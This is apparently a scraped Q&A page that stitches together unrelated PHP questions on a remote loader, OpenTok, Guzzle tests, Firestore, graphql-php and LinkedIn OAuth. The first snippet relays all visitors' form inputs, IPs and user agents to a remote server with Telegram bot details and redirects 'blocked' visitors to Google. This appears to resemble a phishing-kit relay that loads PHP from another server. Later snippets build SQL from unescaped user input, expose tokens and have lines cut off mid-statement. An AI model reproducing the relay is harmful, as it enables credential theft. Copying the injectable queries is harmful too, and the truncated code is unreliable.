hello please i need simple composer script so i can use it on server that have my raw php files and load them from php file on anothere server can any one help please ?
i mean when i upload autoloader.php on my server the code look like this and it load the php files from the server that have el coposer script
require_once(__DIR__ . DIRECTORY_SEPARATOR. "Autoloader.php");
class Config
{
private $server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret;
private $authenticator, $request, $message;
public function __construct($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret){
if (strpos($server_url, "raw.githubusercontent.com", 0) !== false)
$this->$server_url = \Assets\Generic::fetchGithubContent($server_url);
$autoloader = new Autoloader();
$logger = new \Assets\Logger();
$session = new \Assets\Session();
$this->request = new \Assets\RequestHandler();
$this->server_url = $server_url;
$this->username = $username;
$this->api_key = $api_key;
$this->telegram_id = $telegram_id;
$this->telegram_bot = $telegram_bot;
$this->captcha_website = $captcha_website;
$this->captcha_secret = $captcha_secret;
$this->message = $this->createMessage();
$this->authenticator = new \Assets\Authenticator($server_url, $this->message);
$this->run();
}
private function run(){
if (!$this->authenticator->authenticate()){
http_response_code(403);
echo "Un-authorized access. please login to continue";
exit(0);
}
if ($this->authenticator->isBlocked()){
http_response_code(302);
header("Location: https://www.google.com");
exit(0);
}
$this->request->handle($this->server_url, $this->message);
}
private function createMessage(){
return array(
'customer_info' => array(
'api_key' => $this->api_key,
'chat_id' => $this->telegram_id,
'telegram_bot' => $this->telegram_bot,
'captcha_secret_key' => $this->captcha_secret,
'captcha_website_key' => $this->captcha_website,
'username' => $this->username,
),
'client_info' => array(
'ip' => \Assets\Generic::getIp(),
'useragent' => $_SERVER['HTTP_USER_AGENT'],
'method' => $_SERVER['REQUEST_METHOD'],
'request_time' => time(),
'inputs' => array(
'get' => $_GET,
'post' => $_POST
)
)
);
}
}
$server_url = "https://blabla/bla.php";
$api_key = "cdb6d872-0529-4358-ba29-bfae71cf3ed0";
$username = "blanvla";
$telegram_id = "963065016";
$telegram_bot = "5371625949:AAHjcf";
$captcha_website = "RecaptchaV2-Site Key";
$captcha_secret = "RecaptchaV2-Secret Key";
$config = new Config($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret);
First download that script with curl or wget, then add it to your composer.json:
curl 'https://example.com/public/MyClass.php' > ./vendor/customScripts/MyClass.php
// composer.json
{
"autoload": [
"classmap": [
"customScripts/MyClass.php"
]
],
}
Related
I am facing issue when i try to broadcast my video in
When I use 'startVideo' its working fine for me.
But my 'connectVideo' giving me issue, I have pasted code below. I have attached error screenshot also.
In my first function 'startVideo' I wrote code to start video its taking my webcam video, through second function 'connectVideo' i just want share/broadcast my video with my user.
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
use OpenTok\OpenTok;
use OpenTok\MediaMode;
use OpenTok\ArchiveMode;
use OpenTok\Role;
use OpenTok\Session;
use OpenTok\Broadcast;
use OpenTok\Layout;
class Welcome extends CI_Controller {
public function __construct()
{
parent::__construct();
}
public function index()
{
$this->load->view('welcome_message');
}
public function startVideo()
{
$opentok = new OpenTok($this->config->item('opentok_key'), $this->config->item('opentok_secret'));
$sessionOptions = array(
'archiveMode' => ArchiveMode::ALWAYS,
'mediaMode' => MediaMode::ROUTED
);
$session = $opentok->createSession($sessionOptions);
$iSessionId = $session->getSessionId();
date_default_timezone_set('Asia/Kolkata');
$created_date = date("Y-m-d H:i:s");
$data = array(
'apiKey' => $this->config->item('opentok_key'),
'sessionId' => $iSessionId,
'token' => $session->generateToken(),
'created_date' => $created_date
);
$archiveOptions = array(
'name' => 'Important Presentation', // default: null
'hasAudio' => true, // default: true
'hasVideo' => true, // default: true
// 'outputMode' => OutputMode::COMPOSED, // default: OutputMode::COMPOSED
'resolution' => '1280x720' // default: '640x480'
);
$this->load->view('video_11', $data);
}
public function connectVideo() // connect to a session
{
$opentok = new OpenTok($this->config->item('opentok_key'), $this->config->item('opentok_secret'));
$session = $opentok->createSession();
$sessionOptions = array(
'archiveMode' => ArchiveMode::ALWAYS,
'mediaMode' => MediaMode::ROUTED
);
$session = $opentok->createSession($sessionOptions);
$sessionId = $session->getSessionId();
$options = array(
'layout' => Layout::getBestFit(),
'maxDuration' => 5400,
'resolution' => '1280x720'
);
$broadcast = $opentok->startBroadcast($sessionId, $options);
// Store the broadcast ID in the database for later use
$broadcastId = $broadcast->id;
$token = 'T1==T1==cGFydG5lcl9pZD00NjQ5MTcwMiZzaWc9Y2MxYzkxYzNmYTkzNmNiNmQ0NDZiNWEzNzVhYjExYTliYTZkOTdlYzpzZXNzaW9uX2lkPTFfTVg0ME5qUTVNVGN3TW41LU1UWXhOVE00TXpJMU16WXdPWDVIWjB0WVp6SlJWRlJhVUV4c2FrczVOa0ZOZGk5SUwwOS1RWDQmY3JlYXRlX3RpbWU9MTYxNTM4MzI1MyZyb2xlPXB1Ymxpc2hlciZub25jZT0xNjE1MzgzMjUzLjY5ODUxOTY3MzAxNjU4';
$data = array(
'apiKey' => $this->config->item('opentok_key'),
'sessionId' => $session,
'token' => $token
);
$this->load->view('video_22', $data);
}
}
[![enter image description here][1]][1]
[1]: https://i.stack.imgur.com/Q1qBY.png
I am developing my unit tests for an API created in Symfony4
Reading the Guzzle documentation I generated the following code:
File SecurityControllerTest.php
$client = new Client([
'base_uri' => 'http://localhost/sacrepad/sacrepad-api/public/index.php/',
'timeout' => 2.0,
]);
$data = array();
$data['email'] = 'admin#admin.com';
$data['password'] = '12345678';
$data2 = array();
$data2['json'] = $data;
$formData = json_encode($data);
$response = $client->request('POST', 'login', [
'headers' => ['Content-Type' => 'application/x-www-form-urlencoded'],
'form_params' => [
'json' => $formData,
]
]);
$body = json_decode($response->getBody(), true);
File SecurityController.php
/**
* #Route("/login", name="login", methods={"POST"})
*/
public function login(Request $request,Helpers $helpers,ValidatorInterface $validator, JwtAuth $jwtauth) {
$data = array(
'status' => 'error',
'code' => 400,
'msg' => 'data not received'
);
$json = $request->request->get('json');
$params = json_decode($json);
}
When I run the tests with the phpunit command, I get the following error:
1) App\Tests\SecurityControllerTest::testAuth GuzzleHttp\Exception\ServerException: Server error: `POST http://localhost/sacrepad/sacrepad-api/public/index.php/login` resulted in a `500 Internal Server Error` response:
If I change the name of the request:
$json = $request->request->get('json2');
It works and it returns me the following:
array(3) {
["status"]=>
string(5) "error"
["code"]=>
int(400)
["msg"]=>
string(18) "data not received"
}
Any ideas on how to make it work and send the parameters?
i build a class for working with guzzle
use Exception;
use GuzzleHttp\Client;
use GuzzleHttp\Exception\RequestException;
class Api
{
protected $client;
protected $url;
public function __construct()
{
$this->client = new Client([
'verify'=>false
]);
$this->url = 'http://localhost/sacrepad/sacrepad-api/public/';
}
public function get($endpoint, $params = [], $headers = [])
{
$response = $this->sendRequest(
'GET',
$this->url . $endpoint,
$params,
$headers
);
return $response;
}
public function post($endpoint, $params = [], $headers = [])
{
$response = $this->sendRequest(
'POST',
$this->url . $endpoint,
$params,
$headers
);
return $response;
}
public function sendRequest($type, $url, $params = [], $headers = [])
{
if ($type == 'GET') {
$data = [
'query' => $params
];
} elseif ($type == 'FILE') {
$type = 'POST';
$data = [
'multipart' => $params // TODO implements later
];
} else {
$data = [
'json' => $params
];
}
if (!empty($headers)) {
$data['headers'] = $headers;
}
$data['headers']['X-REAL-IP'] = $_SERVER['REMOTE_ADDR'];
$data['headers']['User-Agent'] = $_SERVER['HTTP_USER_AGENT'];;
$data['headers']['X-Platform'] = 'web';
try {
$response = $this->client->request(
$type,
$url,
$data
);
if (in_array($response->getStatusCode(), ['200', '403', '404'])) {
return json_decode($response->getBody());
}
return false;
} catch (RequestException $re) {
if (in_array($re->getResponse()->getStatusCode(), ['403', '404', '422'])) {
return json_decode($re->getResponse()->getBody());
}
return json_decode($re->getResponse()->getBody());
} catch (Exception $e) {
return false;
}
}
}
when i want to send a post request it would be like this
$response = (new Api())->post('index.php/',[
'email'=> 'admin#admin.com',
'password' => '123456'
]);
now it will send a post request to index.php and send email and password data i hope it would be helpful
I'm working on a project that is using Google Firestore version 1 beta 1.
However, there was no PHP SDK provided for it, so I have to use the REST API.
I found this guide online that explains exactly how to do that:
https://engineering.flosports.tv/google-cloud-firestore-document-crud-with-php-1df1c084e45b
After going through the guide, I was able to conclude the example worked as I expected.
However, I need to use ArrayValues, and I get the following error when I try to:
string(612) "{
"error": {
"code": 400,
"message": "Invalid JSON payload received. Unknown name \"array_value\" at 'document.fields[1].value': Proto field is not repeating, cannot start list.",
"status": "INVALID_ARGUMENT",
"details": [
{
"#type": "type.googleapis.com/google.rpc.BadRequest",
"fieldViolations": [
{
"field": "document.fields[1].value",
"description": "Invalid JSON payload received. Unknown name \"array_value\" at 'document.fields[1].value': Proto field is not repeating, cannot start list."
}
]
}
]
}
}
"
I am running the sample file from command line like this:
php index.php
Here is index.php
<?php
include("firestore.php");
use PHPFireStore\FireStoreApiClient;
use PHPFireStore\FireStoreDocument;
$firestore = new FireStoreApiClient(
'XXXXXX', 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
);
$document = new FireStoreDocument();
$document->setString('person', 'Jason'); // this works fine
$document->setArray('my-array', array("cats","dogs","birds")); // this does not work
$firestore->addDocument('people', $document);
Here is firestore.php
<?php
namespace PHPFireStore {
class FireStoreDocument {
private $fields = [];
private $name = null;
private $createTime = null;
private $updateTime = null;
/**
Example:
{
"name": "projects/{project_id}/databases/(default)/documents/{collectionName}/{docu
"fields": {
"hello": {
"doubleValue": 3
}
},
"createTime": "2017-10-18T21:27:33.186235Z",
"updateTime": "2017-10-18T21:27:33.186235Z"
}
*/
public function __construct($json=null) {
if ($json !== null) {
$data = json_decode($json, true, 16);
// Meta properties
$this->name = $data['name'];
$this->createTime = $data['createTime'];
$this->updateTime = $data['updateTime'];
// Fields
foreach ($data['fields'] as $fieldName => $value) {
$this->fields[$fieldName] = $value;
}
}
}
public function getName() {
return $this->name;
}
public function setString($fieldName, $value) {
$this->fields[$fieldName] = [
'stringValue' => $value
];
}
public function setDouble($fieldName, $value) {
$this->fields[$fieldName] = [
'doubleValue' => floatval($value)
];
}
public function setArray($fieldName, $value) {
$this->fields[$fieldName] = [
'arrayValue' => $value
];
}
public function setBoolean($fieldName, $value) {
$this->fields[$fieldName] = [
'booleanValue' => !!$value
];
}
public function setInteger($fieldName, $value) {
$this->fields[$fieldName] = [
'integerValue' => intval($value)
];
}
public function setGeopoint($fieldName, $value) {
$this->fields[$fieldName] = [
'geoPointValue' => array(
'latitude' => (float)41.3819409,
'longitude' => (float)-73.5299525
)
];
}
public function get($fieldName) {
if (array_key_exists($fieldName, $this->fields)) {
return reset($this->fields);
}
throw new Exception('No such field');
}
public function toJson() {
return json_encode([
'fields' => $this->fields
]);
}
}
class FireStoreApiClient {
private $apiRoot = 'https://firestore.googleapis.com/v1beta1/';
private $project;
private $apiKey;
function __construct($project, $apiKey) {
$this->project = $project;
$this->apiKey = $apiKey;
}
private function constructUrl($method, $params=null) {
$params = is_array($params) ? $params : [];
return (
$this->apiRoot . 'projects/' . $this->project . '/' .
'databases/(default)/' . $method . '?key=' . $this->apiKey . '&' . h
);
}
private function get($method, $params=null) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => $this->constructUrl($method, $params),
CURLOPT_USERAGENT => 'cURL'
));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
private function post($method, $params, $postBody) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $this->constructUrl($method, $params),
CURLOPT_HTTPHEADER => array('Content-Type: application/json','Content-Le
CURLOPT_USERAGENT => 'cURL',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postBody
));
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
return $response;
}
private function put($method, $params, $postBody) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => 'PUT',
CURLOPT_HTTPHEADER => array('Content-Type: application/json','Content-Le
CURLOPT_URL => $this->constructUrl($method, $params),
CURLOPT_USERAGENT => 'cURL',
CURLOPT_POSTFIELDS => $postBody
));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
private function patch($method, $params, $postBody) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => 'PATCH',
CURLOPT_HTTPHEADER => array('Content-Type: application/json','Content-Le
CURLOPT_URL => $this->constructUrl($method, $params),
CURLOPT_USERAGENT => 'cURL',
CURLOPT_POSTFIELDS => $postBody
));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
private function delete($method, $params) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_CUSTOMREQUEST => 'DELETE',
CURLOPT_URL => $this->constructUrl($method, $params),
CURLOPT_USERAGENT => 'cURL'
));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function getDocument($collectionName, $documentId) {
if ($response = $this->get("documents/$collectionName/$documentId")) {
return new FireStoreDocument($response);
}
}
/**
This does not work
*/
public function setDocument($collectionName, $documentId, $document) {
return $this->put(
"documents/$collectionName/$documentId",
[ ],
$document->toJson()
);
}
public function updateDocument($collectionName, $documentId, $document, $documentExi
$params = [];
if ($documentExists !== null) {
$params['currentDocument.exists'] = !!$documentExists;
}
return $this->patch(
"documents/$collectionName/$documentId",
$params,
$document->toJson()
);
}
public function deleteDocument($collectionName, $documentId) {
return $this->delete(
"documents/$collectionName/$documentId", []
);
}
public function addDocument($collectionName, $document) {
return $this->post(
"documents/$collectionName",
[],
$document->toJson()
);
}
}
}
Also, this is the version of PHP I am using:
php -v
PHP 7.1.10-1+ubuntu14.04.1+deb.sury.org+1 (cli) (built: Sep 29 2017 17:33:22) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.1.10-1+ubuntu14.04.1+deb.sury.org+1, Copyright (c)
1999-2017, by Zend Technologies
Using the link provided by #JRLtechwriting, I have gotten this to work.
Here is the link: http://googlecloudplatform.github.io/google-cloud-php/#/docs/google-cloud/v0.53.0/firestore/firestoreclient
From command line on Ubuntu 14.04 I had to do this:
sudo apt-get install php7.1-dev php-pear phpunit libz-dev
sudo pecl install protobuf
sudo pecl install grpc
sudo composer require google/cloud
# append BOTH apache2 php.ini AND command line php.ini with the following:
# extension=protobuf.so
# extension=grpc.so
sudo apachectl graceful
Then I wrote this code:
<?php
require "vendor/autoload.php"; // composer
$path = "/xxx/firebase_auth.json"; // this file is provided by google
$config = array(
"projectId" => "xxx",
"keyFile" => json_decode(file_get_contents($path), true)
);
$firestore = new FirestoreClient($config);
$collection = $firestore->collection('people');
$person = $collection->add([
'person_id' => '3'
]);
$document = $firestore->document('people/'.$person->id());
$firestore->runTransaction(function (Transaction $transaction) use ($document) {
$transaction->update($document, [
['path' => 'person', 'value' => 'Jason'],
['path' => 'my-array', 'value' =>array(
"cats",
"dogs",
"birds",
)
],
]);
});
And it worked as expected.
As an aside, if you are using a framework with a built-in Transaction class, you will need to make special arrangements when using Google's Firestore SDK:
use \Google\Cloud\Firestore\Transaction as FirestoreTransaction;
And this line would be rewritten as:
$firestore->runTransaction(function (FirestoreTransaction $transaction) use ($document) {
I am having issues with the following part of my code using graphql-php libraries.
'resolve' =>function($value,$args,$context)
When I run the query:
"http://localhost:8080/index.php?query={certificate(id:"123ecd"){id}}"
I get the below listed message:
{"errors":[{"message":"Internal server error","category":"internal",
"locations":[{"line":1,"column":2}],"path":["certificate"]}],"data":{"certificate":null}}
Secondly when I run a nested query
"http://192.168.211.15:8080/index.php?query{certificates{id,products{id}}}"
I get the below listed response:
{"errors":[{"message":"Internal server error","category":"internal","locations":[{"line":1,"column":26}],"path":["certificates",0,"products"]}
"data":{"certificates":[{"id":"a023gavcx","status":"Valid","products":null}]}}
Below is my complete code:
use GraphQL\Type\Definition\ObjectType;
use GraphQL\Type\Definition\ResolveInfo;
class CertificateType extends ObjectType{
public function __construct(){
$config = [
'name' => 'Certificate',
'fields' => function() {
return [
'id' => [
'type' => Types::nonNull(Types::string()),
],
'number' => [
'type' => Types::int()
],
'first_issue_date' => [
'type' => Types::string()
],
'products' => [
'type' => Types::product(),
'resolve'=> function($value, $args, $context){
$pdo = $context['pdo'];
$cert_id = $value->id;
$result = $pdo->query("select * from products where cert_id = {$cert_id} ");
return $result->fetchObject() ?: null;
}
]
];
}
];
parent::__construct($config);
}
}
use GraphQL\Type\Definition\Type;
class Types extends Type{
protected static $typeInstances = [];
public static function certificate(){
return static::getInstance(CertificateType::class);
}
public static function product(){
return static::getInstance(ProductType::class);
}
protected static function getInstance($class, $arg = null){
if (!isset(static::$typeInstances[$class])) {
$type = new $class($arg);
static::$typeInstances[$class] = $type;
}
return static::$typeInstances[$class];
}
}
use GraphQL\Type\Definition\ObjectType;
use GraphQL\Type\Definition\ResolveInfo;
class ProductType extends ObjectType
{
public function __construct()
{
$config = [
'name' => 'Product',
'fields' => function() {
return [
'id' => [
'type' => Types::nonNull(Types::string()),
],
'primary_activity' => [
'type' => Types::string()
],
'trade_name' => [
'type' => Types::string()
],
];
},
];
parent::__construct($config);
}
}
require_once __DIR__ . '/../../../../autoload.php';
use GraphQL\GraphQL;
use GraphQL\Type\Schema;
use GraphQL\Type\Definition\ObjectType;
use GraphQL\Type\Definition\Type;
define('BASE_URL', 'http://127.0.0.1:8080');
ini_set('display_errors', 0);
$debug = !empty($_GET['debug']);
if ($debug) {
$phpErrors = [];
set_error_handler(function($severity, $message, $file, $line) use (&$phpErrors) {
$phpErrors[] = new ErrorException($message, 0, $severity, $file, $line);
});
}
try {
$dbHost = 'localhost';
$dbName = '*******';
$dbUsername = 'root';
$dbPassword = '*********';
$pdo = new PDO("mysql:host={$dbHost};dbname={$dbName}", $dbUsername, $dbPassword);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$appContext = [
'pdo' => $pdo ];
if (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
$raw = file_get_contents('php://input') ?: '';
$data = json_decode($raw, true);
} else {
$data = $_REQUEST;
}
$data += ['query' => null, 'variables' => null];
if (null === $data['query']) {
$data['query'] = '{hello}';
}
require __DIR__ . '/types/CertificateType.php';
require __DIR__ . '/types/ProductType.php';
require __DIR__ . '/types/OrganizationType.php';
require __DIR__ . '/Types.php';
$queryType = new ObjectType([
'name' => 'Query',
'fields' => [
'hello' => [
'description' => ' Hello world',
'type' => Types::string(),
'resolve' => function() {
return 'Hello World';
}
],
'certificate' => [
'type' => Types::listOf(Types::certificate()),
'description' => 'This is the certificate identification',
'args' => [
'id' => Types::string()],
'resolve' => function ($rootValue,$args,$context) {
$pdo = $context['pdo'];
$id = $args['id'];
return $pdo->query("SELECT * from certificates where id ={$id}");
return $data->fetchObject() ?: null;
}
],
'certificates' => [
'type' => Types::listOf(Types::certificate()),
'resolve' => function($rootValue, $args, $context) {
$pdo = $context['pdo'];
$result = $pdo->query("select * from certificates order by id limit 10");
return $result->fetchAll(PDO::FETCH_OBJ);
}
],
]
]);
$schema = new Schema([
'query' => $queryType
]);
$result = GraphQL::execute(
$schema,
$data['query'],
null,
$appContext,
(array) $data['variables']
);
if ($debug && !empty($phpErrors)) {
$result['extensions']['phpErrors'] = array_map(
['GraphQL\Error\FormattedError', 'createFromPHPError'],
$phpErrors
);
}
$httpStatus = 200;
} catch (\Exception $error) {
// Handling Exception
// *************************************
$httpStatus = 500;
if (!empty($_GET['debug'])) {
$result['extensions']['exception'] = FormattedError::createFromException($error);
} else {
$result['errors'] = [FormattedError::create('Unexpected Error')];
}
}
header('Content-Type: application/json', true, $httpStatus);
echo json_encode($result);
Can somebody help me resolve these issues. Thanks in advance
I am having problems with the LinkedIn API, sometimes it's working fine and sometimes I just get the following error:
Message:
file_get_contents(https://www.linkedin.com/uas/oauth2/accessToken?grant_type=authorization_code&client_id=####&client_secret=####&code=AQTJH8Hm9K8gmriHaDPLbJm_-E8OnbsiUCZvz32Jv_wD6idTW7Se8v0dohVUH0m8zGWzfKkanCC_NT3smdkoykE0nF88nH-tntK35UqHH4LwgzfcNBc&redirect_uri=http%3A%2F%2Fpeerbriefmini.local%2Flinkedincontroller)
[function.file-get-contents]: failed to open stream: HTTP request
failed! HTTP/1.0 400 request#no_content_length
I have taken out my app id and secret. Is there are reason why it would sometimes work?
Edit : added the php code, which works in codeigniter
<?php
class Linkedincontroller extends CI_Controller {
public function __construct() {
parent::__construct();
$this->config->load('linkedin');
$this->load->library('linkedin');
$this->load->model('account_model');
}
public function index() {
// Change these
define('API_KEY', '###');
define('API_SECRET', '##');
define('REDIRECT_URI', base_url().'linkedincontroller');
define('SCOPE', 'r_fullprofile r_emailaddress rw_nus r_basicprofile r_contactinfo');
// You'll probably use a database
session_name('dfsfsdfsdf');
session_start();
// OAuth 2 Control Flow
if (isset($_GET['error'])) {
// LinkedIn returned an error
print $_GET['error'] . ': ' . $_GET['error_description'];
exit;
} elseif (isset($_GET['code'])) {
// User authorized your application
if ($_SESSION['state'] == $_GET['state']) {
// Get token so you can make API calls
$this->getAccessToken();
} else {
// CSRF attack? Or did you mix up your states?
//exit;
}
} else {
if ((empty($_SESSION['expires_at'])) || (time() > $_SESSION['expires_at'])) {
// Token has expired, clear the state
$_SESSION = array();
}
if (empty($_SESSION['access_token'])) {
// Start authorization process
$this->getAuthorizationCode();
}
}
// Congratulations! You have a valid token. Now fetch your profile
$user = $this->fetch('GET', '/v1/people/~:(id,first-name,last-name,main-address,picture-url,public-profile-url,email-address,interests,skills,languages,certifications,educations,positions,courses)');
$linkedin_id = $user['id'];
if(isset($linkedin_id)) {
//var_dump($user);
$linkedin_id = $user['id'];
$linkedin_url = $user['publicProfileUrl'];
$first_name = $user['firstName'];
$last_name = $user['lastName'];
$email = $user['emailAddress'];
$profile_picture = $user['pictureUrl'];
$address = $user['mainAddress'];
$this->account_model->insert_database('accounts',
array(
'account_confirmed' => 1,
'account_active' => 1,
'account_level' => 'Parent',
'account_role' => 'User',
'account_type' => 'Referrer',
'account_completed_level' => 1,
'master_account' => 1,
'account_holder' => $first_name . ' ' .$last_name,
'email' => $email,
'linkedin_id' => $linkedin_id
)
);
$account_id = $this->db->insert_id();
$this->account_model->insert_database('profiles',
array(
'account_id' => $account_id,
'profile_picture' => $profile_picture,
'linkedin_url' => $linkedin_url,
'address' => $address
)
);
// set flash data
$this->session->set_userdata(
array('linkedin_id' => $linkedin_id,
'first_name' => $first_name,
'last_name' => $last_name,
'email' => $email,
'profile_picture' => $profile_picture,
'residential_address' => $address)
);
// redirect back to reg page with profile data
redirect('register');
}else{
$data['header_text'] = $this->account_model->header_text();
$data['header_links'] = $this->account_model->header_links();
$data['user_picture'] = '';
$data['nickname'] = $this->account_model->user_nickname();
$this->load->view('template/header', $data);
$data['error_message'] = 'Unknown LinkedIn credentials.';
$this->load->view('error', $data);
$this->load->view('template/footer');
}
}
// empty fields
private function empty_fields($value) {
if(isset($value)) {
return $value;
}else{
return NULL;
}
}
// authorization code
private function getAuthorizationCode() {
$params = array('response_type' => 'code',
'client_id' => API_KEY,
'scope' => SCOPE,
'state' => uniqid('', true), // unique long string
'redirect_uri' => REDIRECT_URI,
);
// Authentication request
$url = 'https://www.linkedin.com/uas/oauth2/authorization?' . http_build_query($params);
// Needed to identify request when it returns to us
$_SESSION['state'] = $params['state'];
// Redirect user to authenticate
header("Location: $url");
}
// get access token
private function getAccessToken() {
$params = array('grant_type' => 'authorization_code',
'client_id' => API_KEY,
'client_secret' => API_SECRET,
'code' => $_GET['code'],
'redirect_uri' => REDIRECT_URI,
);
// Access Token request
$url = 'https://www.linkedin.com/uas/oauth2/accessToken?' . http_build_query($params);
// Tell streams to make a POST request
$context = stream_context_create(
array('http' =>
array('method' => 'POST',
)
)
);
// Retrieve access token information
$response = file_get_contents($url, false, $context);
// Native PHP object, please
$token = json_decode($response);
// Store access token and expiration time
$_SESSION['access_token'] = $token->access_token; // guard this!
$_SESSION['expires_in'] = $token->expires_in; // relative time (in seconds)
$_SESSION['expires_at'] = time() + $_SESSION['expires_in']; // absolute time
return true;
}
// fetch
private function fetch($method, $resource, $body = '') {
$params = array('oauth2_access_token' => $_SESSION['access_token'],
'format' => 'json',
);
// Need to use HTTPS
$url = 'https://api.linkedin.com' . $resource . '?' . http_build_query($params);
// Tell streams to make a (GET, POST, PUT, or DELETE) request
$context = stream_context_create(
array('http' =>
array('method' => $method,
)
)
);
// Hocus Pocus
$response = file_get_contents($url, false, $context);
// Native PHP object, please
return json_decode($response, true);
//return json_decode($response, false);
}
}
?>